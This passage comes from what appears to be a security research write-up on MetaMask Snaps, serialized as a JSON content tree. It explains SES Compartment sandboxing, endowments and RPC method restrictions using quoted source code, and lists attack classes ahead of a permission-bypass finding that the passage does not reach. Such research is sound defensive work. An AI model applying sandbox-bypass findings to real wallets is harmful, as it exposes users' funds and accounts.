addition, SES provides the ",{"type":23,"tag":56,"props":36571,"children":36573},{"className":36572},[],[36574],{"type":28,"value":36575},"harden()",{"type":28,"value":36577}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":17874,"props":36579,"children":36581},{"id":36580},"setting-up-snaps-execution-env",[36582],{"type":28,"value":36583},"Setting up Snaps Execution Env",{"type":23,"tag":24,"props":36585,"children":36586},{},[36587],{"type":28,"value":36588},"When starting a snap, the setup follows these steps:",{"type":23,"tag":41,"props":36590,"children":36591},{},[36592],{"type":23,"tag":45,"props":36593,"children":36594},{},[36595],{"type":23,"tag":296,"props":36596,"children":36597},{},[36598,36600],{"type":28,"value":36599},"Create endowments based on snap ",{"type":23,"tag":92,"props":36601,"children":36604},{"href":36602,"rel":36603},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[96],[36605],{"type":28,"value":36606},"permissions",{"type":23,"tag":494,"props":36608,"children":36610},{"className":34590,"code":36609,"language":34592,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[36611],{"type":23,"tag":56,"props":36612,"children":36613},{"__ignoreMap":7},[36614,36664,36676,36687,36699,36711],{"type":23,"tag":504,"props":36615,"children":36616},{"class":506,"line":507},[36617,36621,36625,36629,36633,36638,36642,36647,36651,36655,36660],{"type":23,"tag":504,"props":36618,"children":36619},{"style":511},[36620],{"type":28,"value":8635},{"type":23,"tag":504,"props":36622,"children":36623},{"style":523},[36624],{"type":28,"value":747},{"type":23,"tag":504,"props":36626,"children":36627},{"style":529},[36628],{"type":28,"value":36543},{"type":23,"tag":504,"props":36630,"children":36631},{"style":523},[36632],{"type":28,"value":576},{"type":23,"tag":504,"props":36634,"children":36635},{"style":529},[36636],{"type":28,"value":36637},"teardown",{"type":23,"tag":504,"props":36639,"children":36640},{"style":523},[36641],{"type":28,"value":14311},{"type":23,"tag":504,"props":36643,"children":36644},{"style":529},[36645],{"type":28,"value":36646},"endowmentTeardown",{"type":23,"tag":504,"props":36648,"children":36649},{"style":523},[36650],{"type":28,"value":35179},{"type":23,"tag":504,"props":36652,"children":36653},{"style":598},[36654],{"type":28,"value":601},{"type":23,"tag":504,"props":36656,"children":36657},{"style":517},[36658],{"type":28,"value":36659}," createEndowments",{"type":23,"tag":504,"props":36661,"children":36662},{"style":523},[36663],{"type":28,"value":2439},{"type":23,"tag":504,"props":36665,"children":36666},{"class":506,"line":540},[36667,36672],{"type":23,"tag":504,"props":36668,"children":36669},{"style":529},[36670],{"type":28,"value":36671},"    snap",{"type":23,"tag":504,"props":36673,"children":36674},{"style":523},[36675],{"type":28,"value":2484},{"type":23,"tag":504,"props":36677,"children":36678},{"class":506,"line":555},[36679,36683],{"type":23,"tag":504,"props":36680,"children":36681},{"style":529},[36682],{"type":28,"value":30462},{"type":23,"tag":504,"props":36684,"children":36685},{"style":523},[36686],{"type":28,"value":2484},{"type":23,"tag":504,"props":36688,"children":36689},{"class":506,"line":633},[36690,36695],{"type":23,"tag":504,"props":36691,"children":36692},{"style":529},[36693],{"type":28,"value":36694},"    snapId",{"type":23,"tag":504,"props":36696,"children":36697},{"style":523},[36698],{"type":28,"value":2484},{"type":23,"tag":504,"props":36700,"children":36701},{"class":506,"line":687},[36702,36707],{"type":23,"tag":504,"props":36703,"children":36704},{"style":529},[36705],{"type":28,"value":36706},"    _endowments",{"type":23,"tag":504,"props":36708,"children":36709},{"style":523},[36710],{"type":28,"value":2484},{"type":23,"tag":504,"props":36712,"children":36713},{"class":506,"line":736},[36714],{"type":23,"tag":504,"props":36715,"children":36716},{"style":523},[36717],{"type":28,"value":630},{"type":23,"tag":24,"props":36719,"children":36720},{},[36721],{"type":28,"value":36722},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":24,"props":36724,"children":36725},{},[36726,36728,36734,36736,36742],{"type":28,"value":36727},"One clear example is the ",{"type":23,"tag":56,"props":36729,"children":36731},{"className":36730},[],[36732],{"type":28,"value":36733},"endowment:network-access",{"type":28,"value":36735}," permission, that adds the ",{"type":23,"tag":56,"props":36737,"children":36739},{"className":36738},[],[36740],{"type":28,"value":36741},"fetch()",{"type":28,"value":36743}," function to the endowments.",{"type":23,"tag":24,"props":36745,"children":36746},{},[36747,36749,36755],{"type":28,"value":36748},"All endowments are protected with the ",{"type":23,"tag":56,"props":36750,"children":36752},{"className":36751},[],[36753],{"type":28,"value":36754},"harden",{"type":28,"value":36756}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":41,"props":36758,"children":36759},{"start":540},[36760],{"type":23,"tag":45,"props":36761,"children":36762},{},[36763],{"type":23,"tag":296,"props":36764,"children":36765},{},[36766,36768],{"type":28,"value":36767},"Create the snap ",{"type":23,"tag":92,"props":36769,"children":36772},{"href":36770,"rel":36771},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[96],[36773],{"type":28,"value":36380},{"type":23,"tag":494,"props":36775,"children":36777},{"className":34590,"code":36776,"language":34592,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[36778],{"type":23,"tag":56,"props":36779,"children":36780},{"__ignoreMap":7},[36781,36809,36825,36842,36867],{"type":23,"tag":504,"props":36782,"children":36783},{"class":506,"line":507},[36784,36788,36793,36797,36801,36805],{"type":23,"tag":504,"props":36785,"children":36786},{"style":511},[36787],{"type":28,"value":8635},{"type":23,"tag":504,"props":36789,"children":36790},{"style":529},[36791],{"type":28,"value":36792}," compartment",{"type":23,"tag":504,"props":36794,"children":36795},{"style":598},[36796],{"type":28,"value":648},{"type":23,"tag":504,"props":36798,"children":36799},{"style":511},[36800],{"type":28,"value":30911},{"type":23,"tag":504,"props":36802,"children":36803},{"style":517},[36804],{"type":28,"value":36435},{"type":23,"tag":504,"props":36806,"children":36807},{"style":523},[36808],{"type":28,"value":14120},{"type":23,"tag":504,"props":36810,"children":36811},{"class":506,"line":540},[36812,36817,36821],{"type":23,"tag":504,"props":36813,"children":36814},{"style":598},[36815],{"type":28,"value":36816},"    ...",{"type":23,"tag":504,"props":36818,"children":36819},{"style":529},[36820],{"type":28,"value":36543},{"type":23,"tag":504,"props":36822,"children":36823},{"style":523},[36824],{"type":28,"value":2484},{"type":23,"tag":504,"props":36826,"children":36827},{"class":506,"line":555},[36828,36833,36838],{"type":23,"tag":504,"props":36829,"children":36830},{"style":529},[36831],{"type":28,"value":36832},"    module:",{"type":23,"tag":504,"props":36834,"children":36835},{"style":529},[36836],{"type":28,"value":36837}," snapModule",{"type":23,"tag":504,"props":36839,"children":36840},{"style":523},[36841],{"type":28,"value":2484},{"type":23,"tag":504,"props":36843,"children":36844},{"class":506,"line":633},[36845,36850,36854,36858,36863],{"type":23,"tag":504,"props":36846,"children":36847},{"style":529},[36848],{"type":28,"value":36849},"    exports:",{"type":23,"tag":504,"props":36851,"children":36852},{"style":529},[36853],{"type":28,"value":36837},{"type":23,"tag":504,"props":36855,"children":36856},{"style":523},[36857],{"type":28,"value":320},{"type":23,"tag":504,"props":36859,"children":36860},{"style":529},[36861],{"type":28,"value":36862},"exports",{"type":23,"tag":504,"props":36864,"children":36865},{"style":523},[36866],{"type":28,"value":2484},{"type":23,"tag":504,"props":36868,"children":36869},{"class":506,"line":687},[36870],{"type":23,"tag":504,"props":36871,"children":36872},{"style":523},[36873],{"type":28,"value":34314},{"type":23,"tag":24,"props":36875,"children":36876},{},[36877,36879,36885,36886,36891,36893,36898],{"type":28,"value":36878},"Note: ",{"type":23,"tag":56,"props":36880,"children":36882},{"className":36881},[],[36883],{"type":28,"value":36884},"module",{"type":28,"value":430},{"type":23,"tag":56,"props":36887,"children":36889},{"className":36888},[],[36890],{"type":28,"value":36862},{"type":28,"value":36892}," are passed as endowments, but without being ",{"type":23,"tag":1887,"props":36894,"children":36895},{},[36896],{"type":28,"value":36897},"hardened",{"type":28,"value":36899},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":41,"props":36901,"children":36902},{"start":555},[36903],{"type":23,"tag":45,"props":36904,"children":36905},{},[36906],{"type":23,"tag":296,"props":36907,"children":36908},{},[36909,36911],{"type":28,"value":36910},"Evaluate the snap code inside the ",{"type":23,"tag":92,"props":36912,"children":36915},{"href":36913,"rel":36914},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[96],[36916],{"type":28,"value":36380},{"type":23,"tag":494,"props":36918,"children":36920},{"className":34590,"code":36919,"language":34592,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[36921],{"type":23,"tag":56,"props":36922,"children":36923},{"__ignoreMap":7},[36924,36965,36995,37032],{"type":23,"tag":504,"props":36925,"children":36926},{"class":506,"line":507},[36927,36931,36935,36939,36944,36948,36952,36957,36961],{"type":23,"tag":504,"props":36928,"children":36929},{"style":544},[36930],{"type":28,"value":31893},{"type":23,"tag":504,"props":36932,"children":36933},{"style":511},[36934],{"type":28,"value":34693},{"type":23,"tag":504,"props":36936,"children":36937},{"style":523},[36938],{"type":28,"value":320},{"type":23,"tag":504,"props":36940,"children":36941},{"style":517},[36942],{"type":28,"value":36943},"executeInSnapContext",{"type":23,"tag":504,"props":36945,"children":36946},{"style":523},[36947],{"type":28,"value":526},{"type":23,"tag":504,"props":36949,"children":36950},{"style":529},[36951],{"type":28,"value":34997},{"type":23,"tag":504,"props":36953,"children":36954},{"style":523},[36955],{"type":28,"value":36956},", () ",{"type":23,"tag":504,"props":36958,"children":36959},{"style":511},[36960],{"type":28,"value":13802},{"type":23,"tag":504,"props":36962,"children":36963},{"style":523},[36964],{"type":28,"value":552},{"type":23,"tag":504,"props":36966,"children":36967},{"class":506,"line":540},[36968,36973,36977,36982,36986,36991],{"type":23,"tag":504,"props":36969,"children":36970},{"style":529},[36971],{"type":28,"value":36972},"    compartment",{"type":23,"tag":504,"props":36974,"children":36975},{"style":523},[36976],{"type":28,"value":320},{"type":23,"tag":504,"props":36978,"children":36979},{"style":517},[36980],{"type":28,"value":36981},"evaluate",{"type":23,"tag":504,"props":36983,"children":36984},{"style":523},[36985],{"type":28,"value":526},{"type":23,"tag":504,"props":36987,"children":36988},{"style":529},[36989],{"type":28,"value":36990},"sourceCode",{"type":23,"tag":504,"props":36992,"children":36993},{"style":523},[36994],{"type":28,"value":630},{"type":23,"tag":504,"props":36996,"children":36997},{"class":506,"line":555},[36998,37002,37006,37011,37015,37019,37023,37028],{"type":23,"tag":504,"props":36999,"children":37000},{"style":511},[37001],{"type":28,"value":35041},{"type":23,"tag":504,"props":37003,"children":37004},{"style":523},[37005],{"type":28,"value":320},{"type":23,"tag":504,"props":37007,"children":37008},{"style":517},[37009],{"type":28,"value":37010},"registerSnapExports",{"type":23,"tag":504,"props":37012,"children":37013},{"style":523},[37014],{"type":28,"value":526},{"type":23,"tag":504,"props":37016,"children":37017},{"style":529},[37018],{"type":28,"value":34997},{"type":23,"tag":504,"props":37020,"children":37021},{"style":523},[37022],{"type":28,"value":576},{"type":23,"tag":504,"props":37024,"children":37025},{"style":529},[37026],{"type":28,"value":37027},"snapModule",{"type":23,"tag":504,"props":37029,"children":37030},{"style":523},[37031],{"type":28,"value":630},{"type":23,"tag":504,"props":37033,"children":37034},{"class":506,"line":633},[37035],{"type":23,"tag":504,"props":37036,"children":37037},{"style":523},[37038],{"type":28,"value":34314},{"type":23,"tag":24,"props":37040,"children":37041},{},[37042,37044,37050,37051,37057,37058,37064],{"type":28,"value":37043},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":56,"props":37045,"children":37047},{"className":37046},[],[37048],{"type":28,"value":37049},"onRpcRequest",{"type":28,"value":576},{"type":23,"tag":56,"props":37052,"children":37054},{"className":37053},[],[37055],{"type":28,"value":37056},"onTransaction",{"type":28,"value":459},{"type":23,"tag":56,"props":37059,"children":37061},{"className":37060},[],[37062],{"type":28,"value":37063},"onCronjob",{"type":28,"value":320},{"type":23,"tag":24,"props":37066,"children":37067},{},[37068,37070,37075],{"type":28,"value":37069},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":56,"props":37071,"children":37073},{"className":37072},[],[37074],{"type":28,"value":36394},{"type":28,"value":37076}," environment of that Compartment.",{"type":23,"tag":24,"props":37078,"children":37079},{},[37080],{"type":28,"value":37081},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":70,"props":37083,"children":37085},{"id":37084},"vulnerability-research",[37086],{"type":28,"value":37087},"Vulnerability research",{"type":23,"tag":82,"props":37089,"children":37091},{"id":37090},"possible-attacks",[37092],{"type":28,"value":37093},"Possible attacks",{"type":23,"tag":24,"props":37095,"children":37096},{},[37097],{"type":28,"value":37098},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":350,"props":37100,"children":37101},{},[37102,37107,37112,37117],{"type":23,"tag":45,"props":37103,"children":37104},{},[37105],{"type":28,"value":37106},"Broken SES Container isolation",{"type":23,"tag":45,"props":37108,"children":37109},{},[37110],{"type":28,"value":37111},"Insecure endowments in Containers",{"type":23,"tag":45,"props":37113,"children":37114},{},[37115],{"type":28,"value":37116},"Incorrect RPC permission checks",{"type":23,"tag":45,"props":37118,"children":37119},{},[37120],{"type":28,"value":37121},"Insecure snap installation/update",{"type":23,"tag":24,"props":37123,"children":37124},{},[37125],{"type":28,"value":37126},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":24,"props":37128,"children":37129},{},[37130],{"type":28,"value":37131},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":82,"props":37133,"children":37135},{"id":37134},"rpc-interfaces-endowments",[37136],{"type":28,"value":37137},"RPC interfaces endowments",{"type":23,"tag":17874,"props":37139,"children":37141},{"id":37140},"providers-limitations",[37142],{"type":28,"value":37143},"Providers limitations",{"type":23,"tag":24,"props":37145,"children":37146},{},[37147,37149,37155,37156,37161,37163,37170],{"type":28,"value":37148},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":56,"props":37150,"children":37152},{"className":37151},[],[37153],{"type":28,"value":37154},"snap",{"type":28,"value":430},{"type":23,"tag":56,"props":37157,"children":37159},{"className":37158},[],[37160],{"type":28,"value":30395},{"type":28,"value":37162}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":92,"props":37164,"children":37167},{"href":37165,"rel":37166},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[96],[37168],{"type":28,"value":37169},"methods",{"type":28,"value":3472},{"type":23,"tag":494,"props":37172,"children":37174},{"className":34590,"code":37173,"language":34592,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[37175],{"type":23,"tag":56,"props":37176,"children":37177},{"__ignoreMap":7},[37178,37218,37226,37238,37308,37369,37381,37389,37400,37440,37470,37482,37507,37514,37522,37529,37567],{"type":23,"tag":504,"props":37179,"children":37180},{"class":506,"line":507},[37181,37186,37191,37196,37200,37205,37209,37214],{"type":23,"tag":504,"props":37182,"children":37183},{"style":544},[37184],{"type":28,"value":37185},"export",{"type":23,"tag":504,"props":37187,"children":37188},{"style":511},[37189],{"type":28,"value":37190}," function",{"type":23,"tag":504,"props":37192,"children":37193},{"style":517},[37194],{"type":28,"value":37195}," assertSnapOutboundRequest",{"type":23,"tag":504,"props":37197,"children":37198},{"style":523},[37199],{"type":28,"value":526},{"type":23,"tag":504,"props":37201,"children":37202},{"style":529},[37203],{"type":28,"value":37204},"args",{"type":23,"tag":504,"props":37206,"children":37207},{"style":598},[37208],{"type":28,"value":3472},{"type":23,"tag":504,"props":37210,"children":37211},{"style":1012},[37212],{"type":28,"value":37213}," RequestArguments",{"type":23,"tag":504,"props":37215,"children":37216},{"style":523},[37217],{"type":28,"value":537},{"type":23,"tag":504,"props":37219,"children":37220},{"class":506,"line":540},[37221],{"type":23,"tag":504,"props":37222,"children":37223},{"style":1106},[37224],{"type":28,"value":37225},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":504,"props":37227,"children":37228},{"class":506,"line":555},[37229,37234],{"type":23,"tag":504,"props":37230,"children":37231},{"style":517},[37232],{"type":28,"value":37233},"  assert",{"type":23,"tag":504,"props":37235,"children":37236},{"style":523},[37237],{"type":28,"value":2439},{"type":23,"tag":504,"props":37239,"children":37240},{"class":506,"line":633},[37241,37246,37250,37255,37259,37264,37268,37273,37277,37281,37285,37290,37294,37299,37303],{"type":23,"tag":504,"props":37242,"children":37243},{"style":1012},[37244],{"type":28,"value":37245},"    String",{"type":23,"tag":504,"props":37247,"children":37248},{"style":523},[37249],{"type":28,"value":320},{"type":23,"tag":504,"props":37251,"children":37252},{"style":529},[37253],{"type":28,"value":37254},"prototype",{"type":23,"tag":504,"props":37256,"children":37257},{"style":523},[37258],{"type":28,"value":320},{"type":23,"tag":504,"props":37260,"children":37261},{"style":529},[37262],{"type":28,"value":37263},"startsWith",{"type":23,"tag":504,"props":37265,"children":37266},{"style":523},[37267],{"type":28,"value":320},{"type":23,"tag":504,"props":37269,"children":37270},{"style":517},[37271],{"type":28,"value":37272},"call",{"type":23,"tag":504,"props":37274,"children":37275},{"style":523},[37276],{"type":28,"value":526},{"type":23,"tag":504,"props":37278,"children":37279},{"style":529},[37280],{"type":28,"value":37204},{"type":23,"tag":504,"props":37282,"children":37283},{"style":523},[37284],{"type":28,"value":320},{"type":23,"tag":504,"props":37286,"children":37287},{"style":529},[37288],{"type":28,"value":37289},"method",{"type":23,"tag":504,"props":37291,"children":37292},{"style":523},[37293],{"type":28,"value":576},{"type":23,"tag":504,"props":37295,"children":37296},{"style":622},[37297],{"type":28,"value":37298},"'wallet_'",{"type":23,"tag":504,"props":37300,"children":37301},{"style":523},[37302],{"type":28,"value":2064},{"type":23,"tag":504,"props":37304,"children":37305},{"style":598},[37306],{"type":28,"value":37307},"||\n",{"type":23,"tag":504,"props":37309,"children":37310},{"class":506,"line":687},[37311,37316,37320,37324,37328,37332,37336,37340,37344,37348,37352,37356,37360,37365],{"type":23,"tag":504,"props":37312,"children":37313},{"style":1012},[37314],{"type":28,"value":37315},"      String",{"type":23,"tag":504,"props":37317,"children":37318},{"style":523},[37319],{"type":28,"value":320},{"type":23,"tag":504,"props":37321,"children":37322},{"style":529},[37323],{"type":28,"value":37254},{"type":23,"tag":504,"props":37325,"children":37326},{"style":523},[37327],{"type":28,"value":320},{"type":23,"tag":504,"props":37329,"children":37330},{"style":529},[37331],{"type":28,"value":37263},{"type":23,"tag":504,"props":37333,"children":37334},{"style":523},[37335],{"type":28,"value":320},{"type":23,"tag":504,"props":37337,"children":37338},{"style":517},[37339],{"type":28,"value":37272},{"type":23,"tag":504,"props":37341,"children":37342},{"style":523},[37343],{"type":28,"value":526},{"type":23,"tag":504,"props":37345,"children":37346},{"style":529},[37347],{"type":28,"value":37204},{"type":23,"tag":504,"props":37349,"children":37350},{"style":523},[37351],{"type":28,"value":320},{"type":23,"tag":504,"props":37353,"children":37354},{"style":529},[37355],{"type":28,"value":37289},{"type":23,"tag":504,"props":37357,"children":37358},{"style":523},[37359],{"type":28,"value":576},{"type":23,"tag":504,"props":37361,"children":37362},{"style":622},[37363],{"type":28,"value":37364},"'snap_'",{"type":23,"tag":504,"props":37366,"children":37367},{"style":523},[37368],{"type":28,"value":5720},{"type":23,"tag":504,"props":37370,"children":37371},{"class":506,"line":736},[37372,37377],{"type":23,"tag":504,"props":37373,"children":37374},{"style":622},[37375],{"type":28,"value":37376},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":504,"props":37378,"children":37379},{"style":523},[37380],{"type":28,"value":2484},{"type":23,"tag":504,"props":37382,"children":37383},{"class":506,"line":785},[37384],{"type":23,"tag":504,"props":37385,"children":37386},{"style":523},[37387],{"type":28,"value":37388},"  );\n",{"type":23,"tag":504,"props":37390,"children":37391},{"class":506,"line":813},[37392,37396],{"type":23,"tag":504,"props":37393,"children":37394},{"style":517},[37395],{"type":28,"value":37233},{"type":23,"tag":504,"props":37397,"children":37398},{"style":523},[37399],{"type":28,"value":2439},{"type":23,"tag":504,"props":37401,"children":37402},{"class":506,"line":851},[37403,37407,37412,37416,37420,37424,37428,37432,37436],{"type":23,"tag":504,"props":37404,"children":37405},{"style":598},[37406],{"type":28,"value":19951},{"type":23,"tag":504,"props":37408,"children":37409},{"style":529},[37410],{"type":28,"value":37411},"BLOCKED_RPC_METHODS",{"type":23,"tag":504,"props":37413,"children":37414},{"style":523},[37415],{"type":28,"value":320},{"type":23,"tag":504,"props":37417,"children":37418},{"style":517},[37419],{"type":28,"value":34157},{"type":23,"tag":504,"props":37421,"children":37422},{"style":523},[37423],{"type":28,"value":526},{"type":23,"tag":504,"props":37425,"children":37426},{"style":529},[37427],{"type":28,"value":37204},{"type":23,"tag":504,"props":37429,"children":37430},{"style":523},[37431],{"type":28,"value":320},{"type":23,"tag":504,"props":37433,"children":37434},{"style":529},[37435],{"type":28,"value":37289},{"type":23,"tag":504,"props":37437,"children":37438},{"style":523},[37439],{"type":28,"value":5720},{"type":23,"tag":504,"props":37441,"children":37442},{"class":506,"line":869},[37443,37448,37452,37457,37461,37466],{"type":23,"tag":504,"props":37444,"children":37445},{"style":529},[37446],{"type":28,"value":37447},"    ethErrors",{"type":23,"tag":504,"props":37449,"children":37450},{"style":523},[37451],{"type":28,"value":320},{"type":23,"tag":504,"props":37453,"children":37454},{"style":529},[37455],{"type":28,"value":37456},"rpc",{"type":23,"tag":504,"props":37458,"children":37459},{"style":523},[37460],{"type":28,"value":320},{"type":23,"tag":504,"props":37462,"children":37463},{"style":517},[37464],{"type":28,"value":37465},"methodNotFound",{"type":23,"tag":504,"props":37467,"children":37468},{"style":523},[37469],{"type":28,"value":14120},{"type":23,"tag":504,"props":37471,"children":37472},{"class":506,"line":878},[37473,37478],{"type":23,"tag":504,"props":37474,"children":37475},{"style":529},[37476],{"type":28,"value":37477},"      data:",{"type":23,"tag":504,"props":37479,"children":37480},{"style":523},[37481],{"type":28,"value":552},{"type":23,"tag":504,"props":37483,"children":37484},{"class":506,"line":1221},[37485,37490,37495,37499,37503],{"type":23,"tag":504,"props":37486,"children":37487},{"style":529},[37488],{"type":28,"value":37489},"        method:",{"type":23,"tag":504,"props":37491,"children":37492},{"style":529},[37493],{"type":28,"value":37494}," args",{"type":23,"tag":504,"props":37496,"children":37497},{"style":523},[37498],{"type":28,"value":320},{"type":23,"tag":504,"props":37500,"children":37501},{"style":529},[37502],{"type":28,"value":37289},{"type":23,"tag":504,"props":37504,"children":37505},{"style":523},[37506],{"type":28,"value":2484},{"type":23,"tag":504,"props":37508,"children":37509},{"class":506,"line":1276},[37510],{"type":23,"tag":504,"props":37511,"children":37512},{"style":523},[37513],{"type":28,"value":36176},{"type":23,"tag":504,"props":37515,"children":37516},{"class":506,"line":1285},[37517],{"type":23,"tag":504,"props":37518,"children":37519},{"style":523},[37520],{"type":28,"value":37521},"    }),\n",{"type":23,"tag":504,"props":37523,"children":37524},{"class":506,"line":1294},[37525],{"type":23,"tag":504,"props":37526,"children":37527},{"style":523},[37528],{"type":28,"value":37388},{"type":23,"tag":504,"props":37530,"children":37531},{"class":506,"line":1302},[37532,37537,37541,37545,37549,37554,37558,37563],{"type":23,"tag":504,"props":37533,"children":37534},{"style":517},[37535],{"type":28,"value":37536},"  assertStruct",{"type":23,"tag":504,"props":37538,"children":37539},{"style":523},[37540],{"type":28,"value":526},{"type":23,"tag":504,"props":37542,"children":37543},{"style":529},[37544],{"type":28,"value":37204},{"type":23,"tag":504,"props":37546,"children":37547},{"style":523},[37548],{"type":28,"value":576},{"type":23,"tag":504,"props":37550,"children":37551},{"style":529},[37552],{"type":28,"value":37553},"JsonStruct",{"type":23,"tag":504,"props":37555,"children":37556},{"style":523},[37557],{"type":28,"value":576},{"type":23,"tag":504,"props":37559,"children":37560},{"style":622},[37561],{"type":28,"value":37562},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":504,"props":37564,"children":37565},{"style":523},[37566],{"type":28,"value":630},{"type":23,"tag":504,"props":37568,"children":37569},{"class":506,"line":1311},[37570],{"type":23,"tag":504,"props":37571,"children":37572},{"style":523},[37573],{"type":28,"value":884},{"type":23,"tag":24,"props":37575,"children":37576},{},[37577,37579,37584,37586,37592,37593,37599],{"type":28,"value":37578},"This function is called by the ",{"type":23,"tag":56,"props":37580,"children":37582},{"className":37581},[],[37583],{"type":28,"value":37154},{"type":28,"value":37585}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":56,"props":37587,"children":37589},{"className":37588},[],[37590],{"type":28,"value":37591},"wallet_",{"type":28,"value":459},{"type":23,"tag":56,"props":37594,"children":37596},{"className":37595},[],[37597],{"type":28,"value":37598},"snap_",{"type":28,"value":37600},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":24,"props":37602,"children":37603},{},[37604,37606,37611,37613,37618,37620,37626],{"type":28,"value":37605},"On the other hand, the ",{"type":23,"tag":56,"props":37607,"children":37609},{"className":37608},[],[37610],{"type":28,"value":30395},{"type":28,"value":37612}," provider only blocks methods starting with ",{"type":23,"tag":56,"props":37614,"children":37616},{"className":37615},[],[37617],{"type":28,"value":37598},{"type":28,"value":37619}," and the blocked methods. However, it requires the ",{"type":23,"tag":56,"props":37621,"children":37623},{"className":37622},[],[37624],{"type":28,"value":37625},"endowment:ethereum-provider",{"type":28,"value":37627}," permission in the snap manifest.",{"type":23,"tag":17874,"props":37629,"children":37631},{"id":37630},"execution-flow",[37632],{"type":28,"value":37633},"Execution flow",{"type":23,"tag":24,"props":37635,"children":37636},{},[37637,37639,37644,37645,37650,37652,37657,37658,37664],{"type":28,"value":37638},"Both providers (",{"type":23,"tag":56,"props":37640,"children":37642},{"className":37641},[],[37643],{"type":28,"value":37154},{"type":28,"value":430},{"type":23,"tag":56,"props":37646,"children":37648},{"className":37647},[],[37649],{"type":28,"value":30395},{"type":28,"value":37651},") are built outside the SES container with a ",{"type":23,"tag":56,"props":37653,"children":37655},{"className":37654},[],[37656],{"type":28,"value":30471},{"type":28,"value":5441},{"type":23,"tag":92,"props":37659,"children":37662},{"href":37660,"rel":37661},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[96],[37663],{"type":28,"value":514},{"type":28,"value":3472},{"type":23,"tag":494,"props":37666,"children":37668},{"className":34907,"code":37667,"language":34909,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[37669],{"type":23,"tag":56,"props":37670,"children":37671},{"__ignoreMap":7},[37672,37719,37744,37777,37812,37824,37844,37882,37902,37909,37926,37959,37966],{"type":23,"tag":504,"props":37673,"children":37674},{"class":506,"line":507},[37675,37679,37683,37687,37691,37695,37699,37703,37707,37711,37715],{"type":23,"tag":504,"props":37676,"children":37677},{"style":511},[37678],{"type":28,"value":35165},{"type":23,"tag":504,"props":37680,"children":37681},{"style":517},[37682],{"type":28,"value":30360},{"type":23,"tag":504,"props":37684,"children":37685},{"style":598},[37686],{"type":28,"value":648},{"type":23,"tag":504,"props":37688,"children":37689},{"style":511},[37690],{"type":28,"value":35342},{"type":23,"tag":504,"props":37692,"children":37693},{"style":523},[37694],{"type":28,"value":801},{"type":23,"tag":504,"props":37696,"children":37697},{"style":529},[37698],{"type":28,"value":37204},{"type":23,"tag":504,"props":37700,"children":37701},{"style":598},[37702],{"type":28,"value":3472},{"type":23,"tag":504,"props":37704,"children":37705},{"style":1012},[37706],{"type":28,"value":37213},{"type":23,"tag":504,"props":37708,"children":37709},{"style":523},[37710],{"type":28,"value":2064},{"type":23,"tag":504,"props":37712,"children":37713},{"style":511},[37714],{"type":28,"value":13802},{"type":23,"tag":504,"props":37716,"children":37717},{"style":523},[37718],{"type":28,"value":552},{"type":23,"tag":504,"props":37720,"children":37721},{"class":506,"line":540},[37722,37727,37731,37735,37739],{"type":23,"tag":504,"props":37723,"children":37724},{"style":517},[37725],{"type":28,"value":37726},"      